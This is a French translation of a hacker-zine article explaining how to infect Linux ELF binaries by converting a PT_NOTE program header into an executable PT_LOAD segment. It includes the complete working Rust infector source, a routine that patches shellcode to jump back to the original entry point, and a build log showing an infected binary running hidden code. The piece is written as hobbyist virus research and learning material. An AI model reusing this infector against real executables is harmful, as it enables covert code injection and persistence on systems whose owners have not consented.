\_______________________________________________________________________/ o_/_________________________________________________________________________\_o | | ___________ __ | | | | \__ ___/____ ______ ____ __ ___/ |_ | | | | | | / \\____ \ / _ \| | \ __\ | | | | | || Y Y \ |_> > ( <_> ) | /| | | | | | |____||__|_| / __/ /\ \____/|____/ |__| | | | | \/|__| \/ | | | | | | | | ::: PT_NOTE to PT_LOAD ELF injector (in Rust) ::: | | | | `- avec l'amour de d3npa et tmp.0ut <3 | | | | [ Traduit en français par @MorpheusH3x from the ret2school team ] | | +------------------------------------------------------------------------------ | Une version japonaise est disponible sur Github / 日本語版はGithubにてご覧できます | https://github.com/d3npa/hacking-trix-rust/blob/main/elf/ptnote-infector +------------------------------------------------------------------------------ J'ai lu une technique sur le blog SymbolCrash pour injecter un shellcode dans un binaire ELF en convertissant un PT_NOTE dans la table d'en-tête du programme en un PT_LOAD. J'ai pensé que cela semblait intéressant et je ne connaissais pas grand chose à propos de ELF, j'ai donc saisi l'occasion d'apprendre plusieurs nouvelles choses à la fois. Pour ce projet, j'ai créé une petite bibliothèque, très incomplète, que j'ai appelée mental_elf qui facilite l'analyse et l'écriture des métadonnées ELF. Je pense que que le code de la bibliothèque est très simple et facile à comprendre, donc je ne Je ne vais donc pas en parler davantage ici. ====[ Vue d'ensemble ]========================================================== Comme son titre l'indique, cette technique d'infection consiste à convertir l'en-tête de programme `PT_NOTE` d'un ELF en un `PT_LOAD` afin d'exécuter un shellcode. L'infection se résume à trois étapes : - Ajouter le shellcode à la fin du fichier ELF. - Charger le shellcode à une adresse spécifique de la mémoire virtuelle. - Changer le point d'entrée du fichier ELF à l'adresse ci-dessus pour que le shellcode soit exécuté en premier Le shellcode doit également être corrigé pour chaque ELF de manière à ce qu'il retourne au point d'entrée original de l'ELF hôte permettant à l'hôte de s'exécuter normalement après que le shellcode soit terminé. Le shellcode peut être chargé dans la mémoire virtuelle via une en-tête PT_LOAD. L'insertion d'une nouvelle en-tête de programme dans le fichier ELF briserait probablement de nombreux décalages dans le binaire, mais il est généralement possible de réaffecter une en-tête PT_NOTE sans casser le binaire. Voici une note concernant la section Note de la spécification ELF (de son nom entier, Tool Interface Standard (TIS) Executable and Linking Format (ELF) Specification): +-------------------------------------------------------------------------- | Les informations relatives aux notes sont facultatives. | La présence d'informations de note n'affecte pas la conformité ABI | (interface binaire-programme) d'un programme, à condition que ces | informations n'affectent pas le comportement d'exécution du programme. | Sinon, le programme n'est pas conforme à l'ABI et a un comportement non | défini. +-------------------------------------------------------------------------- Voici deux mises en garde dont j'ai pris conscience : - Cette technique simpliste ne fonctionnera pas avec le PIE (Position Independent Executable). - Le runtime du langage Go s'attend en fait à une section PT_NOTE valide contenant des informations sur la version afin de s'exécuter, donc cette technique ne peut pas être utilisée avec les binaires Go. Note : PIE peut être désactivé dans gcc avec `-no-pie` ou dans rustc avec `-C relocation-model=static'. ====[ Shellcode ]============================================================== Le shellcode fourni est écrit pour le Netwide ASseMbler (NASM). Assurez-vous d'installer `nasm` avant de lancer le Makefile ! Pour créer un shellcode adapté à cette injection, il y a deux choses à garder à l'esprit. La section 3.4.1 de l'ABI AMD64 System V indique que les registres rbp, rsp, et rdx doivent être définis à des valeurs correctes avant l'entrée. Ceci peut Ceci peut être réalisé par des "push" et des "pop" ordinaire autour du shellcode. Mon shellcode ne touche pas rbp ou rsp, et le fait de mettre rdx à zéro avant de retourner fonctionne également. Le shellcode doit aussi être corrigé pour qu'il puisse revenir au point d'entrée original de l'hôte après avoir terminé. Pour faciliter le patch, le shellcode peut être conçu pour s'exécuter à la fin du fichier, soit en étant écrit de haut en bas, soit en sautant vers une étiquette vide à la fin : +-------------------------------------------------------------------------- | main_tasks: | ; ... | jmp finish | other_tasks: | ; ... | finish: +-------------------------------------------------------------------------- Avec cette conception, la correction est aussi simple que l'ajout d'une instruction de saut. En x86_64 cependant, jmp ne peut pas prendre un opérande 64 bits - à la place, la destination est stockée dans rax et ensuite un jmp rax est fait. Cet extrait de rust corrige un vecteur d'octets vecteur d'octet "shellcode" pour ajouter un saut à entry_point : +-------------------------------------------------------------------------- | fn patch_jump(shellcode: &mut Vec<u8>, entry_point: u64) { | // Stocker le point d'entrée dans rax | shellcode.extend_from_slice(&[0x48u8, 0xb8u8]); | shellcode.extend_from_slice(&entry_point.to_ne_bytes()); | // Sauter à l'adresse dans rax | shellcode.extend_from_slice(&[0xffu8, 0xe0u8]); | } +-------------------------------------------------------------------------- ====[ Infecteur ]=============================================================== L'infecteur lui-même se trouve dans src/main.rs. Il est écrit dans un format facile à suivre de haut en bas, donc si vous avez compris l'aperçu l'aperçu, cela devrait être très clair. J'ai également ajouté des commentaires pour vous aider. Le code utilise ma bibliothèque mental_elf pour faire abstraction des détails de la lecture et de l'écriture du fichier, de sorte qu'il est plus facile de voir la technique. En résumé, le code: - Prend en compte 2 paramètres CLI : la cible ELF et un fichier shellcode. - Lit les en-têtes ELF et programme du fichier ELF. - Corrige le shellcode avec un `jmp` au point d'entrée original. - Ajoute le shellcode patché au fichier ELF - Trouve un en-tête de programme `PT_NOTE` et le convertit en `PT_LOAD`. - Modifie le point d'entrée de l'ELF au début du shellcode. - Sauvegarde les structures d'en-tête modifiées dans le fichier ELF. Quand un fichier ELF infecté est exécuté, le chargeur ELF va mapper plusieurs sections du fichier ELF dans la mémoire virtuelle - notre PT_LOAD créé s'assurera que notre shellcode est chargé et exécutable. Le point d'entrée du fichier ELF commence alors l'exécution du shellcode. Lorsque le shellcode se termine, il sautera au point d'entrée original, permettant ainsi au binaire d'exécuter son code original. +-------------------------------------------------------------------------- | $ make | cd files && make && cd .. | make[1]: Entering directory '/.../files' | rustc -C opt-level=z -C debuginfo=0 -C relocation-model=static target.rs | nasm -o shellcode.o shellcode.s | make[1]: Leaving directory '/.../files' | cargo run --release files/target files/shellcode.o | Compiling mental_elf v0.1.0 (https://github.com/d3npa/mental-elf#0355d2d3) | Compiling ptnote-to-ptload-elf-injection v0.1.0 (/...) | Finished release [optimized] target(s) in 1.15s | Running `target/release/ptnote-to-ptload-elf-injection files/target files/shellcode.o` | Found PT_NOTE section; converting to PT_LOAD | echo 'Done! Run target with: `./files/target`' | Done! Run target with: `./files/target` | $ ./files/target | dont tell anyone im here | hello world! | $ +-------------------------------------------------------------------------- ====[ Fin ]================================================================ C'était un projet tellement amusant ! J'ai beaucoup appris sur Rust, ELF et les virus en général. Merci à netspooky, sblip, TMZ, et les autres à tmp.out pour m'avoir appris, aidé à déboguer et motivé à faire ce projet <3 Liens additionnels: - https://www.symbolcrash.com/2019/03/27/pt_note-to-pt_load-injection-in-elf/ - http://www.skyfree.org/linux/references/ELF_Format.pdf - https://refspecs.linuxfoundation.org/elf/x86_64-abi-0.95.pdf - https://github.com/d3npa/mental-elf Le code source se trouve ci-dessous ( avec les commentaires en français ): ------------------------------------------------------------------------------ Cargo.toml ------------------------------------------------------------------------------ [package] ... [dependencies.mental_elf] git = "https://github.com/d3npa/mental-elf" rev = "0355d2d35558e092a038589fc8b98ac9bc70c37b" ------------------------------------------------------------------------------ main.rs ------------------------------------------------------------------------------ use mental_elf::elf64::constants::*; use std::{env, fs, process}; use std::io::prelude::*; use std::io::SeekFrom; fn main() -> Result<(), Box<dyn std::error::Error>> { let args: Vec<String> = env::args().collect(); if args.len() != 3 { eprintln!("Usage: {} <ELF File> <Shellcode File>", args[0]); process::exit(1); } let elf_path = &args[1]; let sc_path = &args[2]; // Ouvrir le fichier ELF cible avec les permissions RW let mut elf_fd = fs::OpenOptions::new() .read(true) .write(true) .open(&elf_path)?; // Chargement du shellcode depuis un fichier let mut shellcode: Vec<u8> = fs::read(&sc_path)?; // Analyse de l'ELF et des entêtes du programme let mut elf_header = mental_elf::read_elf64_header(&mut elf_fd)?; let mut program_headers = mental_elf::read_elf64_program_headers( &mut elf_fd, elf_header.e_phoff, elf_header.e_phnum, )?; // Patch le shellcode pour sauter au point d'entrée original après // avoir terminé patch_jump(&mut shellcode, elf_header.e_entry); // Ajouter le shellcode à la toute fin du fichier ELF cible. elf_fd.seek(SeekFrom::End(0))?; elf_fd.write(&shellcode)?; // Calculer les décalages utilisés pour patcher les en-têtes ELF // et programme let sc_len = shellcode.len() as u64; let file_offset = elf_fd.metadata()?.len() - sc_len; let memory_offset = 0xc00000000 + file_offset; // A la recherche d'une section PT_NOTE for phdr in &mut program_headers { if phdr.p_type == PT_NOTE { // Convertir en une section PT_LOAD avec des valeurs pour charger // le shellcode println!("Found PT_NOTE section; converting to PT_LOAD"); phdr.p_type = PT_LOAD; phdr.p_flags = PF_R | PF_X; phdr.p_offset = file_offset; phdr.p_vaddr = memory_offset; phdr.p_memsz += sc_len as u64; phdr.p_filesz += sc_len as u64; // Modifiez l'en-tête ELF pour qu'il commence au shellcode. elf_header.e_entry = memory_offset; break; } } // Valider les modifications du programme et des en-têtes ELF mental_elf::write_elf64_program_headers( &mut elf_fd, elf_header.e_phoff, elf_header.e_phnum, program_headers, )?; mental_elf::write_elf64_header(&mut elf_fd, elf_header)?; Ok(()) } fn patch_jump(shellcode: &mut Vec<u8>, entry_point: u64) { // Stocker le point d'entrée dans rax shellcode.extend_from_slice(&[0x48u8, 0xb8u8]); shellcode.extend_from_slice(&entry_point.to_ne_bytes()); // Sauter à l'adresse dans rax shellcode.extend_from_slice(&[0xffu8, 0xe0u8]); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------